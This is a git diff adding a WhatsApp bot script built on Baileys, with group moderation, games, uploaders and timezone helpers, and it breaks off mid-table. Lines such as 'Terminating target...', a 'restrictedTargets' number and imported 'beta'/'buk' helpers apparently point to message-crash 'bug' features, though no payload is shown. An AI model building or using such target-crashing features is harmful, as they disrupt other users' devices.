diff --git a/.gitattributes b/.gitattributes index 29d91e583dc39a22e5be2dbd172c8acbee1ca082..a44196d7ba266adef9d0489eece439afa04ac036 100644 --- a/.gitattributes +++ b/.gitattributes @@ -34,3 +34,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text *.zst filter=lfs diff=lfs merge=lfs -text *tfevents* filter=lfs diff=lfs merge=lfs -text davidcyrilapis-main/public/docs/background-music.mp3 filter=lfs diff=lfs merge=lfs -text +public/docs/background-music.mp3 filter=lfs diff=lfs merge=lfs -text diff --git a/Procfile b/Procfile new file mode 100644 index 0000000000000000000000000000000000000000..063b78f463143ec8bdbc65a9920982dfea2d4ea1 --- /dev/null +++ b/Procfile @@ -0,0 +1 @@ +web: npm start diff --git a/QUEEN_ANITA-V4.js b/QUEEN_ANITA-V4.js new file mode 100644 index 0000000000000000000000000000000000000000..a20bafa897f318caa2ddc2e6c8958abc8b07fe4f --- /dev/null +++ b/QUEEN_ANITA-V4.js @@ -0,0 +1,22567 @@ + +require("./config") +const { WA_DEFAULT_EPHEMERAL, getAggregateVotesInPollMessage, generateWAMessageFromContent, proto, generateWAMessageContent, generateWAMessage, prepareWAMessageMedia, downloadContentFromMessage, areJidsSameUser, getContentType, useMultiFileAuthState, makeWASocket, fetchLatestBaileysVersion, makeCacheableSignalKeyStore, makeWaSocket } = require("@whiskeysockets/baileys") +const fs = require('fs') +const util = require('util') +const fetch = require('node-fetch'); +const qrcode = require('qrcode'); +const axios = require('axios') +const { uploadToImgur } = require('./lib/davidcyriltech'); +const crypto = require('crypto') +const execPromise = util.promisify(require('child_process').exec); +const ffmpeg = require('fluent-ffmpeg'); +const { exec } = require("child_process") +const chalk = require('chalk') +const more = String.fromCharCode(8206); +const readmore = more.repeat(4001); +const path = require('path'); +const FormData = require('form-data'); +const speed = require('performance-now') +const moment = require('moment-timezone'); +const cheerio = require('cheerio'); +const bugres = '𝗧𝗲𝗿𝗺𝗶𝗻𝗮𝘁𝗶𝗻𝗴 𝘁𝗮𝗿𝗴𝗲𝘁...' +const { +imageToWebp, +videoToWebp, +writeExifImg, +writeExifVid, +writeExif, +addExif +} = require('./lib/exif.js') +const ownerNumber = global.owner; +const tempMailData = {}; +const anonChats = {}; +const { + beta1, + beta2, + buk1 + } = require("./lib/hdr.js") +const yts = require ('yt-search'); + +const similarity = require('similarity') +const qs = require('qs'); + +module.exports = async (David, m) => { +try { +const from = m.key.remoteJid +const body = ( + m?.mtype === 'conversation' ? m?.message.conversation : + m?.mtype === 'imageMessage' ? m?.message.imageMessage.caption : + m?.mtype === 'videoMessage' ? m?.message.videoMessage.caption : + m?.mtype === 'extendedTextMessage' ? m?.message.extendedTextMessage.text : + m?.mtype === 'buttonsResponseMessage' ? m?.message.buttonsResponseMessage.selectedButtonId : + m?.mtype === 'listResponseMessage' ? m?.message.listResponseMessage.singleSelectReply.selectedRowId : + m?.mtype === 'templateButtonReplyMessage' ? m?.message.templateButtonReplyMessage.selectedId : + m?.mtype === 'interactiveResponseMessage' ? appenTextMessage(JSON.parse(m?.msg.nativeFlowResponseMessage.paramsJson).id, chatUpdate) : + m?.mtype === 'templateButtonReplyMessage' ? appenTextMessage(m?.msg.selectedId, chatUpdate) : + m?.mtype === 'messageContextInfo' ? (m?.message.buttonsResponseMessage?.selectedButtonId || m?.message.listResponseMessage?.singleSelectReply.selectedRowId || m?.text) : + '' +); + + + + + +const { smsg, fetchJson, getBuffer, fetchBuffer, getGroupAdmins, isUrl, hitungmundur, sleep, clockString, checkBandwidth, runtime, tanggal, getRandom } = require('./lib/myfunc') + + + +const fs = require('fs'); +const axios = require('axios'); +const FormData = require('form-data'); + +const davidcyrilCdn = './davidcyrilCdn.js'; +if (!fs.existsSync(davidcyrilCdn)) { + console.log('📂 File "davidcyrilCdn.js" not found. Creating...'); + + const davidcyrilCdnContent = ` +const axios = require('axios'); +const FormData = require('form-data'); +const fs = require('fs'); +const path = require('path'); + +async function davidcyCdn(buffer, fileType, fileName = 'upload') { + try { + let tempFolder = path.join(__dirname, 'temp'); + if (!fs.existsSync(tempFolder)) fs.mkdirSync(tempFolder); + + let filePath = path.join(tempFolder, \`\${fileName}.\${fileType}\`); + fs.writeFileSync(filePath, buffer); // Save file temporarily + + let formData = new FormData(); + formData.append('file', fs.createReadStream(filePath)); + + let response = await axios.post('http://cdn.david-cyril.net.ng/upload', formData, { + headers: { ...formData.getHeaders() } + }); + + fs.unlinkSync(filePath); // Delete file after upload + + if (response.data.success && response.data.files.length > 0) { + return { + success: true, + url: response.data.files[0].url, + size: response.data.files[0].size, + name: \`\${fileName}.\${fileType}\` + }; + } else { + return { success: false, error: 'Upload failed' }; + } + } catch (error) { + return { success: false, error: error.message }; + } +} + +module.exports = { davidcyCdn }; +`; + + fs.writeFileSync(davidcyrilCdn, davidcyrilCdnContent.trim()); + console.log('✅ File "davidcyrilCdn.js" created successfully.'); +} + +// Import the uploader function +const { davidcyCdn } = require('./davidcyrilCdn.js'); + + +// File auto-creation logic for catbox.js +const catboxFilePath = './catbox.js'; +if (!fs.existsSync(catboxFilePath)) { + console.log('📂 File "catbox.js" not found. Creating...'); + const catboxContent = ` +const axios = require('axios'); +const FormData = require('form-data'); +const fs = require('fs'); + +async function catbox(path) { + const data = new FormData(); + data.append('reqtype', 'fileupload'); + data.append('userhash', ''); // Optional, can be left blank + data.append('fileToUpload', fs.createReadStream(path)); // Attach the file + + const config = { + method: 'POST', + url: 'https://catbox.moe/user/api.php', + headers: { + ...data.getHeaders(), // Correctly retrieve headers from FormData + }, + data: data, // FormData instance + }; + + try { + const api = await axios.request(config); + return { url: api.data.trim() }; // Return the uploaded file URL + } catch (error) { + console.error('Error uploading to Catbox:', error.message); + throw new Error('Failed to upload to Catbox'); + } +} + +module.exports = { catbox }; +`; + fs.writeFileSync(catboxFilePath, catboxContent.trim()); + console.log('✅ File "catbox.js" created successfully.'); +} + +// Import the Catbox uploader +const { catbox } = require('./catbox'); + + + +const diaryPath = './diary.json'; +function loadDiary() { + if (!fs.existsSync(diaryPath)) fs.writeFileSync(diaryPath, JSON.stringify({}), 'utf-8'); + return JSON.parse(fs.readFileSync(diaryPath, 'utf-8')); +} +function saveDiary(data) { + fs.writeFileSync(diaryPath, JSON.stringify(data, null, 2), 'utf-8'); +} + + + +const BASE_URL = "https://onlinesim.io/api/v1/free_numbers_content/"; + +async function getOnlineCountries() { + try { + const response = await axios.get(`${BASE_URL}countries?lang=en`); + if (response.data.response === "1") { + const allCountries = response.data.counties; + const onlineCountries = allCountries.filter(country => country.online); + return onlineCountries.map(country => ({ + name: country.country, + code: country.country_code + })); + } else { + throw new Error("Failed to fetch online countries."); + } + } catch (error) { + console.error("Error fetching countries:", error.message); + return []; + } +} + + +async function getCountryNumbers(country) { + try { + const response = await axios.get(`${BASE_URL}countries/${country}?lang=en`); + if (response.data.response === "1") { + const numbers = response.data.numbers.map(num => ({ + description: num.data_humans, + fullNumber: num.full_number + })); + return numbers; + } else { + throw new Error("Failed to fetch numbers."); + } + } catch (error) { + console.error("Error fetching numbers:", error.message); + return []; + } +} + + +async function getNumberInbox(country, number) { + try { + const response = await axios.get(`${BASE_URL}countries/${country}/${number}?lang=en`); + if (response.data.response === "1" && response.data.online) { + const messages = response.data.messages.data.map(msg => ({ + sender: msg.data_humans, + text: msg.text + })); + return messages; + } else { + throw new Error("Failed to fetch inbox messages."); + } + } catch (error) { + console.error("Error fetching inbox:", error.message); + return []; + } +} + + + +const tempFolder = './tmp'; +const savedVideosFile = `${tempFolder}/savedVideos.json`; + +// Ensure temp folder exists +if (!fs.existsSync(tempFolder)) fs.mkdirSync(tempFolder); + +// Load saved videos from JSON +function loadSavedVideos() { + if (fs.existsSync(savedVideosFile)) { + return JSON.parse(fs.readFileSync(savedVideosFile, 'utf8')); + } + return {}; +} + +// Save video data to JSON +function saveVideoData(data) { + fs.writeFileSync(savedVideosFile, JSON.stringify(data, null, 2)); +} + + let savedVideos = loadSavedVideos(); + +const restrictedTargets ='2349066528353' + +const budy = (typeof m.text == 'string' ? m.text : '') +const botNumber = await David.decodeJid(David.user.id) +const groupMetadata = m?.isGroup ? await David.groupMetadata(m?.chat).catch(e => {}) : {}; +const groupName = m?.isGroup ? groupMetadata.subject || '' : ''; +const participants = m?.isGroup ? await groupMetadata.participants || [] : []; +const groupAdmins = m.isGroup ? await getGroupAdmins(participants) : '' +const isBotAdmins = m?.isGroup ? groupAdmins.includes(botNumber) : false; + +const qsal = { key : { +remoteJid: '0@s.whatsapp.net', +participant : '0@s.whatsapp.net' +}, +message: { +newsletterAdminInviteMessage: { +newsletterJid: '120363315231436175@newsletter', + newsletterName: '', + caption: `${global.anitav4} | 2024 - 2099` +}}} + +// GitHub API settings + +async function isPremiumUser(jid) { + try { + const response = await axios.get('https://david-cyril.net.ng/premium.json'); + const premiumList = response.data; // Assuming the JSON contains an array of WhatsApp IDs + return premiumList.includes(jid); + } catch (error) { + console.error('Error fetching premium user list:', error); + return false; // Fallback to deny access if there is an issue + } +} + + + +const groupOwner = m?.isGroup ? groupMetadata.owner || '' : ''; +const isGroupOwner = m?.isGroup ? (groupOwner ? groupOwner : groupAdmins).includes(m?.sender) : false; +const isGroup = m.key.remoteJid.endsWith('@g.us') + +if (!global.prefix) global.prefix = '.'; + +const prefix = global.prefix; +const isCmd = body.startsWith(prefix) +const command = isCmd ? body.slice(prefix.length).trim().split(' ').shift().toLowerCase() : '' +const args = body.trim().split(/ +/).slice(1) +const text = q = args.join(" ") +const sender = m.key.fromMe ? (David.user.id.split(':')[0]+'@s.whatsapp.net' || David.user.id) : (m.key.participant || m.key.remoteJid) + + + + +// Initialize warning database +const antispamPath = './antispam.json'; +const spamTracker = {}; // Temporary in-memory tracker for spam + +// Load or initialize antispam settings +function loadSpamSettings() { + if (!fs.existsSync(antispamPath)) { + const defaultData = { groups: {} }; + fs.writeFileSync(antispamPath, JSON.stringify(defaultData, null, 2), 'utf-8'); + console.log('Created antispam.json as it did not exist.'); + return defaultData; + } + return JSON.parse(fs.readFileSync(antispamPath, 'utf-8')); +} + +// Save settings to the JSON file +function saveSpamSettings(data) { + fs.writeFileSync(antispamPath, JSON.stringify(data, null, 2), 'utf-8'); +} + +// Update settings for a specific group +function updateSpamSettings(groupJid, settings) { + const data = loadSpamSettings(); + data.groups[groupJid] = settings; + saveSpamSettings(data); +} + +// Retrieve settings for a specific group +function getSpamSettings(groupJid) { + const data = loadSpamSettings(); + return data.groups[groupJid] || { enabled: false, spamLimit: 5 }; +} + + + + +/// Economy + +// Load economy data +function loadEconomy() { + if (fs.existsSync("./david-cyril/economy.json")) { + const data = fs.readFileSync("./david-cyril/economy.json"); + return JSON.parse(data); + } + return {}; // Return empty object if file doesn't exist +} + +// Save economy data +function saveEconomy(data) { + fs.writeFileSync("./david-cyril/economy.json", JSON.stringify(data, null, 2)); +} + +// Economy data initialization +let economy = loadEconomy(); + +// Load levels from JSON +function loadLevels() { + if (fs.existsSync("database/level.json")) { + const data = fs.readFileSync("database/level.json"); + return JSON.parse(data); + } + return {}; // Return empty object if file doesn't exist +} + +// Save levels to JSON +function saveLevels(data) { + fs.writeFileSync("./david-cyril/level.json", JSON.stringify(data, null, 2)); +} + +let userLevels = loadLevels(); + + + + +function loadPets() { + if (fs.existsSync("./david-cyril/pets.json")) { + const data = fs.readFileSync("./david-cyril/pets.json"); + return JSON.parse(data); + } + return {}; +} + +function savePets(data) { + fs.writeFileSync("./david-cyril/pets.json", JSON.stringify(data, null, 2)); +} + +let pets = loadPets(); + +let lotteryPot = 0; +let lotteryParticipants = []; + +function loadGuardPets() { + if (fs.existsSync("./david-cyril/guardPets.json")) { + const data = fs.readFileSync("./david-cyril/guardPets.json"); + return JSON.parse(data); + } + return {}; +} + +function saveGuardPets(data) { + fs.writeFileSync("./david-cyril/guardPets.json", JSON.stringify(data, null, 2)); +} + +let guardPetsData = loadGuardPets(); + +// Add a function to randomly pick a winner after a set time +function pickLotteryWinner() { + if (lotteryParticipants.length > 0) { + const winner = lotteryParticipants[Math.floor(Math.random() * lotteryParticipants.length)]; + economy[winner].wallet += lotteryPot; + saveEconomy(economy); + + reply(`🎉 *Lottery Winner!*\n\n@${winner.split("@")[0]} won the pot of $${lotteryPot}!\n\n💰 *Wallet Balance:* $${economy[winner].wallet}`, { + mentions: [winner], + }); + + // Reset lottery + lotteryPot = 0; + lotteryParticipants = []; + } +} + + +function loadWeapons() { + if (fs.existsSync("./david-cyril/./david-cyril/weapons.json")) { + const data = fs.readFileSync("./david-cyril/weapons.json"); + return JSON.parse(data); + } + return {}; +} + +function saveWeapons(data) { + fs.writeFileSync("./david-cyril/weapons.json", JSON.stringify(data, null, 2)); +} + +let weaponsData = loadWeapons(); + + +function wcgNextTurn() { + if (wcgSession.players.length <= 1) { + reply(`🎉 *WCG Game Over!*\n\n🏆 The winner is @${wcgSession.players[0].split("@")[0]}!`, { + mentions: wcgSession.players, + }); + + wcgSession.active = false; + saveWCGSession(wcgSession); + return; + } + + const player = wcgSession.players[wcgSession.currentTurn]; + const letter = String.fromCharCode(65 + Math.floor(Math.random() * 26)); // Random letter (A-Z) + + reply(`🎲 @${player.split("@")[0]}, tell me a ${wcgSession.wordLength}-letter word that starts with "${letter}".\nYou have ${wcgSession.timer / 1000} seconds!`, { + mentions: [player], + }); + + const timeout = setTimeout(() => { + reply(`❌ @${player.split("@")[0]} failed to respond in time and has been eliminated!`, { + mentions: [player], + }); + + // Eliminate player and adjust game + wcgSession.players.splice(wcgSession.currentTurn, 1); + wcgAdjustGame(); + wcgNextTurn(); + }, wcgSession.timer); + + David.ev.once("messages.upsert", async (messageEvent) => { + const { messages } = messageEvent; + const response = messages[0].message.conversation; + + if (messages[0].key.remoteJid !== player || !response) return; + + clearTimeout(timeout); // Cancel elimination timer + + if (response.length === wcgSession.wordLength && response.toLowerCase().startsWith(letter.toLowerCase())) { + reply(`✅ @${player.split("@")[0]}, correct!`, { mentions: [player] }); + wcgSession.currentTurn = (wcgSession.currentTurn + 1) % wcgSession.players.length; // Move to next turn + saveWCGSession(wcgSession); + wcgNextTurn(); + } else { + reply(`❌ @${player.split("@")[0]}, wrong answer! Eliminated.`, { mentions: [player] }); + wcgSession.players.splice(wcgSession.currentTurn, 1); // Eliminate player + wcgAdjustGame(); + wcgNextTurn(); + } + }); +} + +function parseMention(text = '') { + return [...text.matchAll(/@(\d{5,16})/g)].map(v => v[1] + '@s.whatsapp.net'); +} + +// Adjust game difficulty as players are eliminated +function wcgAdjustGame() { + if (wcgSession.players.length <= 3) { + wcgSession.wordLength = Math.min(7, wcgSession.wordLength + 1); // Increase word length (max 7) + wcgSession.timer = Math.max(30000, wcgSession.timer - 10000); // Decrease timer (min 30s) + saveWCGSession(wcgSession); + } +} + + + +function loadWCGSession() { + if (fs.existsSync('./david-cyril/wcg.json')) { + return JSON.parse(fs.readFileSync('./david-cyril/wcg.json')); + } + return { active: false, players: [], currentTurn: 0, wordLength: 3, timer: 60000 }; +} + +function saveWCGSession(session) { + fs.writeFileSync('./david-cyril/wcg.json', JSON.stringify(session, null, 2)); +} + +let wcgSession = loadWCGSession(); + + + + + + +function delay(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +const sudoFilePath = './sudo.json'; // Path to the sudo list file + +// Function to load sudo list +function loadSudoList() { + if (!fs.existsSync(sudoFilePath)) { + fs.writeFileSync(sudoFilePath, JSON.stringify([])); // Create file if not exists + } + return JSON.parse(fs.readFileSync(sudoFilePath, 'utf-8')); +} + +// Function to save sudo list +function saveSudoList(sudoList) { + fs.writeFileSync(sudoFilePath, JSON.stringify(sudoList, null, 2)); +} + +// Check if a user is in the sudo list +function isSudoUser(jid) { + const sudoList = loadSudoList(); + return sudoList.includes(jid) || global.owner === jid; // Owner is always a sudo user +} + + + + + +// Ensure commands are executed by sudo users or the owner + + + +const reply = (teks) => { + const thumbnail = fs.readFileSync('./thumb.png'); // Read the thumbnail image + + David.sendMessage(from, { + text: teks, + contextInfo: { + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterName: channelname, + newsletterJid: channeljid, + }, + externalAdReply: { + showAdAttribution: true, + mediaType: 1, + previewType: 0, + renderLargerThumbnail: true, + mediaUrl: `https://whatsapp.com/channel/0029VaeRru3ADTOEKPCPom0L`, + title: `${global.anitav4} || ${global.channelname}`, + sourceUrl: `https://whatsapp.com/channel/0029VaeRru3ADTOEKPCPom0L`, + thumbnail: thumbnail, // Use the loaded thumbnail image + } + } + }, { quoted: qsal }); +} + + + + + + + + +const senderNumber = sender.split('@')[0] +const isCreator = (m && m.sender && [botNumber, ...global.owner].map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(m.sender)) || false; +const pushname = m.pushName || `${senderNumber}` +const isBot = botNumber.includes(senderNumber) +const quoted = m.quoted ? m.quoted : m +const mime = (quoted.msg || quoted).mimetype || '' + + + + +const frommeky = m.key.remoteJid +const isAdmins = m.isGroup ? groupAdmins.includes(m.sender) : false +const input = m.isMention && m.quoted && m.mentionedJid.includes(m.quoted.sender) ? m.mentionedJid : m.isMention && m.quoted ? [...m.mentionedJid, m.quoted.sender] : m.isMention ? m.mentionedJid : m.quoted ? Array(m.quoted.sender) : text !== "" && (text.trim().includes("08") || text.trim().includes("+62") || text.trim().includes("628")) ? text.split("+62").filter((x) => (x !== "" && x.length >= 11 && !isNaN(parseInt(x.replace(new RegExp("[()+-/ +/]", "gi"), ""))))).map((x) => x.trim().startsWith("8") ? ("+62" + x.trim()) : x.trim()).join(" ").split(" ").filter((x) => (x.length >= 11 && !isNaN(parseInt(x.replace(new RegExp("[()+-/ +/]", "gi"), ""))))).map((x) => x.startsWith("08") ? parseInt(x.replace("08", "628")) : parseInt(x.replace(new RegExp("[()+-/ +/]", "gi"), ""))).map((x) => (x + "@s.whatsapp.net")) : text !== "" && !isNaN(parseInt(text.replace(new RegExp("[()+-/ +/]", "gi"), ""))) && util.format(parseInt(text.replace(new RegExp("[()+-/ +/]", "gi"), ""))).length >= 8 && util.format(parseInt(text.replace(new RegExp("[()+-/ +/]", "gi"), ""))).length <= 15 ? Array(parseInt(text.replace(new RegExp("[()+-/ +/]", "gi"), "")) + "@s.whatsapp.net") : [] +const isMedia = /image|video|sticker|audio/.test(mime) + +try { +ppusers = await David.profilePictureUrl(m.sender, 'image') +} catch (err) { +ppusers = 'https://files.catbox.moe/0arg0u.jpg' +} +ppnyausers = await getBuffer(ppusers) +try { +let isNumber = x => typeof x === 'number' && !isNaN(x) +let user = global.db.data.users[m.sender] +if (typeof user !== 'object') global.db.data.users[m.sender] = {} +if (user) { +if (!isNumber(user.afkTime)) user.afkTime = -1 +if (!('afkReason' in user)) user.afkReason = '' +if (!isNumber(user.limit)) user.limit = limitUser +} else global.db.data.users[m.sender] = { +afkTime: -1, +afkReason: '', +limit: 0, +} +} catch (err) { +console.log(err) +} + + + + + + + +const antilinkPath = './antilink.json'; // Unique path variable for antilink settings + +function loadSettings() { + if (!fs.existsSync(antilinkPath)) { + const defaultData = { groups: {} }; + fs.writeFileSync(antilinkPath, JSON.stringify(defaultData, null, 2), 'utf-8'); + console.log('Created antilink.json as it did not exist.'); + return defaultData; + } + return JSON.parse(fs.readFileSync(antilinkPath, 'utf-8')); +} + +function saveSettings(data) { + fs.writeFileSync(antilinkPath, JSON.stringify(data, null, 2), 'utf-8'); +} + +function updateGroupSettings(groupJid, settings) { + const data = loadSettings(); + data.groups[groupJid] = settings; + saveSettings(data); +} + +function getGroupSettings(groupJid) { + const data = loadSettings(); + return data.groups[groupJid] || { antilinkkick: false, antilinkwarn: false, antilinkdelete: false }; +} + +const urlRegex = /(https?:\/\/[^\s]+|[^\s]+\.(com|net|org|info|io|gov|edu|co|me|ng|xyz))/i; + +if (urlRegex.test(budy)) { // Matches any URL or domain + const settings = getGroupSettings(m.chat); + + // Check if any of the antilink options are enabled + if (settings.antilinkkick || settings.antilinkwarn || settings.antilinkdelete) { + if (!isBotAdmins) return; // Skip if the bot isn't an admin + if (isAdmins || isCreator) return; // Skip for admins or the creator + + // Always delete the message regardless of the selected antilink type + try { + await David.sendMessage(m.chat, { + delete: { + remoteJid: m.chat, + fromMe: false, + id: m.key.id, + participant: m.key.participant + } + }); + console.log("Deleted a message containing a link."); + } catch (err) { + console.log("Failed to delete the message:", err); + } + + // Perform additional actions based on the settings + if (settings.antilinkkick) { + try { + await David.sendMessage(m.chat, { + text: `Posting links is not allowed in this group, @${m.sender.split("@")[0]}. You are being removed.`, + mentions: [m.sender] + }); + await David.groupParticipantsUpdate(m.chat, [m.sender], 'remove'); + console.log("Kicked participant:", m.sender); + } catch (err) { + console.log("Failed to kick participant:", err); + } + } else if (settings.antilinkwarn) { + try { + await David.sendMessage(m.chat, { + text: `Warning @${m.sender.split("@")[0]}! Posting links is not allowed in this group.`, + mentions: [m.sender] + }); + console.log("Warned participant:", m.sender); + } catch (err) { + console.log("Failed to send warning:", err); + } + } else if (settings.antilinkdelete) { + console.log("Deleted message without further action."); + } + } +} + +const reSize = async(buffer, ukur1, ukur2) => { + return new Promise(async(resolve, reject) => { + let jimp = require('jimp') + var baper = await jimp.read(buffer); + var ab = await baper.resize(ukur1, ukur2).getBufferAsync(jimp.MIME_JPEG) + resolve(ab) + }) +} + const fkethmb = await reSize(ppusers, 300, 300) + + let jimp = require("jimp") +const resize = async (image, width, height) => { + const read = await jimp.read(image); + const data = await read.resize(width, height).getBufferAsync(jimp.MIME_JPEG); + return data; +}; + + const createSerial = (size) => { + return crypto.randomBytes(size).toString('hex').slice(0, size) +} +if (global.public === false) { // When the bot is in private mode + if (!m.key.fromMe && !isCreator && !isSudoUser(m.sender)) { + return; + } +} + +// Antilink Protection +if (global.antilink || global.antilinkkick || global.antilinkwarn) { + if (/https?:\/\/[^\s]+/i.test(budy)) { // Matches any URL + if (!isBotAdmins) return; // Ensure bot is admin + if (isAdmins || isCreator) return; // Skip for admins/owner + + // Delete the message + try { + await David.sendMessage(m.chat, { + delete: { + remoteJid: m.chat, + fromMe: false, + id: m.key.id, + participant: m.key.participant + } + }); + } catch (err) { + console.log('Failed to delete message:', err); + } + + if (global.antilinkkick) { + // Warn and kick the sender + try { + await David.sendMessage(m.chat, { + text: `Warning @${m.sender.split("@")[0]}, posting links is not allowed in this group!`, + mentions: [m.sender] + }); + await David.groupParticipantsUpdate(m.chat, [m.sender], 'remove'); + } catch (err) { + console.log('Failed to kick participant:', err); + } + } else if (global.antilinkwarn) { + // Just warn the sender + try { + await David.sendMessage(m.chat, { + text: `Warning @${m.sender.split("@")[0]}! Do not send links in this group!`, + mentions: [m.sender] + }); + } catch (err) { + console.log('Failed to send warning:', err); + } + } + } +} + + + + +// Extract bot's phone number +let botPhoneNumber = David.user.id.split('@')[0].replace(/\D/g, ''); // Remove non-numeric characters + +// Function to extract the correct country code dynamically +const getBotCountryCode = (number) => { + let possibleCodes = Object.keys(timeZonesMapping).sort((a, b) => b.length - a.length); // Sort longest first + for (let code of possibleCodes) { + if (number.startsWith(code)) return code; + } + return null; // If no match is found +}; + +// Define country codes and their time zones +const timeZonesMapping = { + '1': 'America/New_York', '7': 'Europe/Moscow', '20': 'Africa/Cairo', '27': 'Africa/Johannesburg', + '30': 'Europe/Athens', '31': 'Europe/Amsterdam', '32': 'Europe/Brussels', '33': 'Europe/Paris', + '34': 'Europe/Madrid', '36': 'Europe/Budapest', '39': 'Europe/Rome', '40': 'Europe/Bucharest', + '41': 'Europe/Zurich', '43': 'Europe/Vienna', '44': 'Europe/London', '45': 'Europe/Copenhagen', + '46': 'Europe/Stockholm', '47': 'Europe/Oslo', '48': 'Europe/Warsaw', '49': 'Europe/Berlin', + '51': 'America/Lima', '52': 'America/Mexico_City', '53': 'America/Havana', '54': 'America/Argentina/Buenos_Aires', + '55': 'America/Sao_Paulo', '56': 'America/Santiago', '57': 'America/Bogota', '58': 'America/Caracas', + '60': 'Asia/Kuala_Lumpur', '61': 'Australia/Sydney', '62': 'Asia/Jakarta', '63': 'Asia/Manila', + '64': 'Pacific/Auckland', '65': 'Asia/Singapore', '66': 'Asia/Bangkok', '81': 'Asia/Tokyo', + '82': 'Asia/Seoul', '84': 'Asia/Ho_Chi_Minh', '86': 'Asia/Shanghai', '90': 'Europe/Istanbul', + '91': 'Asia/Kolkata', '92': 'Asia/Karachi', '93': 'Asia/Kabul', '94': 'Asia/Colombo', + '95': 'Asia/Yangon', '98': 'Asia/Tehran', '212': 'Africa/Casablanca', '213': 'Africa/Algiers', + '216': 'Africa/Tunis', '218': 'Africa/Tripoli', '220': 'Africa/Banjul', '221': 'Africa/Dakar', + '222': 'Africa/Nouakchott', '223': 'Africa/Bamako', '224': 'Africa/Conakry', '225': 'Africa/Abidjan', + '226': 'Africa/Ouagadougou', '227': 'Africa/Niamey', '228': 'Africa/Lome', '229': 'Africa/Porto-Novo', + '230': 'Indian/Mauritius', '231': 'Africa/Monrovia', '232': 'Africa/Freetown', '233': 'Africa/Accra', + '234': 'Africa/Lagos', '235': 'Africa/Ndjamena', '236': 'Africa/Bangui', '237': 'Africa/Douala', + '238': 'Atlantic/Cape_Verde', '239': 'Africa/Sao_Tome', '240': 'Africa/Malabo', '241': 'Africa/Libreville', + '242': 'Africa/Brazzaville', '243': 'Africa/Kinshasa', '244': 'Africa/Luanda', '245': 'Africa/Bissau', + '246': 'Indian/Chagos', '248': 'Indian/Mahe', '249': 'Africa/Khartoum', '250': 'Africa/Kigali', + '251': 'Africa/Addis_Ababa', '252': 'Africa/Mogadishu', '253': 'Africa/Djibouti', '254': 'Africa/Nairobi', + '255': 'Africa/Dar_es_Salaam', '256': 'Africa/Kampala', '257': 'Africa/Bujumbura', '258': 'Africa/Maputo', + '260': 'Africa/Lusaka', '261': 'Indian/Antananarivo', '262': 'Indian/Reunion', '263': 'Africa/Harare', + '264': 'Africa/Windhoek', '265': 'Africa/Blantyre', '266': 'Africa/Maseru', '267': 'Africa/Gaborone', + '268': 'Africa/Mbabane', '269': 'Indian/Comoro', '290': 'Atlantic/St_Helena', '291': 'Africa/Asmara', + '297': 'America/Aruba', '298': 'Atlantic/Faroe', '299': 'America/Nuuk' +}; + +// Extract the bot's country code +let botCountryCode = getBotCountryCode(botPhoneNumber) || 'UTC'; + +// Get the bot's timezone +let botTimeZone = timeZonesMapping[botCountryCode] || 'UTC'; + +// Get the current time using moment-timezone +let botCurrentTime = moment().tz(botTimeZone); + +// Format time +let botTimeString = botCurrentTime.format('hh:mm A'); // 12-hour format with AM/PM +let botDateString = botCurrentTime.format('YYYY-MM-DD'); +let botDayString = botCurrentTime.format('dddd'); + +// Construct time response message +let timeInfoMessage = `🕰️ *Current Bot Time:*\n\n` + + `📅 *Date:* ${botDateString}\n` + + `🕒 *Time:* ${botTimeString} (${botTimeZone})\n` + + `📆 *Day:* ${botDayString}`; + +// Extract bot's phone number +let botNumbers = David.user.id.split('@')[0].replace(/\D/g, ''); // Remove non-numeric characters + +// Function to extract correct country code dynamically +const parseCountryCodee = (number) => { + let possibleCodes = Object.keys(timezones).sort((a, b) => b.length - a.length); // Sort longest first + for (let code of possibleCodes) { + if (number.startsWith(code)) return code; + } + return null; // If no match is found +}; + +// Define timezones mapping +const timezones = { + '1': 'America/New_York', '7': 'Europe/Moscow', '20': 'Africa/Cairo', '27': 'Africa/Johannesburg', + '30': 'Europe/Athens', '31': 'Europe/Amsterdam', '32': 'Europe/Brussels', '33': 'Europe/Paris', + '34': 'Europe/Madrid', '36': 'Europe/Budapest', '39': 'Europe/Rome', '40': 'Europe/Bucharest', + '41': 'Europe/Zurich', '43': 'Europe/Vienna', '44': 'Europe/London', '45': 'Europe/Copenhagen', + '46': 'Europe/Stockholm', '47': 'Europe/Oslo', '48': 'Europe/Warsaw', '49': 'Europe/Berlin', + '51': 'America/Lima', '52': 'America/Mexico_City', '53': 'America/Havana', '54': 'America/Argentina/Buenos_Aires', + '55': 'America/Sao_Paulo', '56': 'America/Santiago', '57': 'America/Bogota', '58': 'America/Caracas', + '60': 'Asia/Kuala_Lumpur', '61': 'Australia/Sydney', '62': 'Asia/Jakarta', '63': 'Asia/Manila', + '64': 'Pacific/Auckland', '65': 'Asia/Singapore', '66': 'Asia/Bangkok', '81': 'Asia/Tokyo', + '82': 'Asia/Seoul', '84': 'Asia/Ho_Chi_Minh', '86': 'Asia/Shanghai', '90': 'Europe/Istanbul', + '91': 'Asia/Kolkata', '92': 'Asia/Karachi', '93': 'Asia/Kabul', '94': 'Asia/Colombo', + '95': 'Asia/Yangon', '98': 'Asia/Tehran', '212': 'Africa/Casablanca', '213': 'Africa/Algiers', + '216': 'Africa/Tunis', '218': 'Africa/Tripoli', '220': 'Africa/Banjul', '221': 'Africa/Dakar', + '222': 'Africa/Nouakchott', '223': 'Africa/Bamako', '224': 'Africa/Conakry', '225': 'Africa/Abidjan', + '226': 'Africa/Ouagadougou', '227': 'Africa/Niamey', '228': 'Africa/Lome', '229': 'Africa/Porto-Novo', + '230': 'Indian/Mauritius', '231': 'Africa/Monrovia', '232': 'Africa/Freetown', '233': 'Africa/Accra', + '234': 'Africa/Lagos', '235': 'Africa/Ndjamena', '236': 'Africa/Bangui', '237': 'Africa/Douala', + '238': 'Atlantic/Cape_Verde', '239': 'Africa/Sao_Tome', '240': 'Africa/Malabo', '241': 'Africa/Libreville', + '242': 'Africa/Brazzaville', '243': 'Africa/Kinshasa', '244': 'Africa/Luanda', '245': 'Africa/Bissau', + '246': 'Indian/Chagos', '248': 'Indian/Mahe', '249': 'Africa/Khartoum', '250': 'Africa/Kigali', + '251': 'Africa/Addis_Ababa', '252': 'Africa/Mogadishu', '253': 'Africa/Djibouti', '254': 'Africa/Nairobi', + '255': 